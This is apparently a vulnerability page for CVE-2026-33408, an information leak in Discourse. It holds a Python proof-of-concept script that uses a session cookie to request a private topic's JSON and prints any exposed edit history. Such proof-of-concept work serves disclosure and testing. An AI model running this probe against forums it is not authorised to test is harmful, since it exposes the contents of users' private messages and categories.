CVE-2026-33408 Discourse信息泄露漏洞

# Proof of Concept for CVE-2026-33408 # This script checks if edit history is exposed in private messages/categories import requests def check_edit_leak(base_url, session_cookie): headers = {'Cookie': session_cookie} # Target a private message or private category topic target_url = f"{base_url}/t/some-private-topic/123.json" try: response = requests.get(target_url, headers=headers) if response.status_code == 200: data = response.json() # Check post stream for edit details # The vulnerability exposes the first 40 chars of edits if 'post_stream' in data: for post in data['post_stream']['posts']: if 'edits' in post and post['edits']: print(f"[+] Potential Leak Detected in Post {post['id']}") print(f" Edit details: {post['edits'][0]}") return True print("[-] No leak detected or access denied.") return False except Exception as e: print(f"Error: {e}") return False # Usage: check_edit_leak('https://target.com', '_forum_session=...')